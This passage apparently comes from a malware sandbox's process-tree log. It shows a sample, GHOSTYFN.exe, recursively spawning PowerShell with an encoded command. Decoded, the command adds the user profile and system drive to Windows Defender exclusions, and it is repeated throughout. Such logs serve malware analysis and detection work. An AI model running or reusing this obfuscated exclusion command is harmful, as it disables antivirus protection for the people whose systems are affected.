        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        112⤵
        
        PID:7680
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        112⤵
        
        PID:5196
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        113⤵
        
        PID:6324
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        113⤵
        
        PID:6744
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        114⤵
        
        PID:6460
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        114⤵
        
        PID:2252
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        115⤵
        
        PID:548
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        115⤵
        
        PID:3188
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        116⤵
        
        PID:1028
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        116⤵
        
        PID:6108
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        117⤵
        
        PID:7172
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        117⤵
        
        PID:6716
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        118⤵
        
        PID:6740
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        118⤵
        
        PID:5884
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        119⤵
        
        PID:6284
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        119⤵
        
        PID:1416
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        120⤵
        
        PID:5492
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        120⤵
        
        PID:7352
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        121⤵
        
        PID:6060
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        121⤵
        
        PID:6448
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        122⤵
        
        PID:5068
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        122⤵
        
        PID:6084
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        123⤵
        
        PID:5660
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        123⤵
        
        PID:4028
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        124⤵
        
        PID:876
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        124⤵
        
        PID:1576
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        125⤵
        
        PID:2944
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        125⤵
        
        PID:5792
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        126⤵
        
        PID:7000
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        126⤵
        
        PID:6844
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        127⤵
        
        PID:5252
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        127⤵
        
        PID:8036
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        128⤵
        
        PID:6792
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        128⤵
        
        PID:6332
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        129⤵
        
        PID:1832
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        129⤵
        
        PID:3772
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        130⤵
        
        PID:7524
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        130⤵
        
        PID:4460
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        131⤵
        
        PID:3420
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        131⤵
        
        PID:6364
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        132⤵
        
        PID:1860
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        132⤵
        
        PID:7916
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        133⤵
        
        PID:5188
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        133⤵
        
        PID:4196
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        134⤵
        
        PID:7184
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        134⤵
        
        PID:5376
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        135⤵
        
        PID:6332
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        135⤵
        
        PID:4404
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        136⤵
        
        PID:6920
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        136⤵
        
        PID:6516
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        137⤵
        
        PID:756
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        137⤵
        
        PID:5384
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        138⤵
        
        PID:4480
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        138⤵
        
        PID:2980
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        139⤵
        
        PID:6908
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        139⤵
        
        PID:1372
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        140⤵
        
        PID:7656
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        140⤵
        
        PID:2356
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        141⤵
        
        PID:3220
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        141⤵
        
        PID:4700
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        142⤵
        
        PID:4348
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        142⤵
        
        PID:7904
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        143⤵
        
        PID:6884
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        143⤵
        
        PID:7928
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
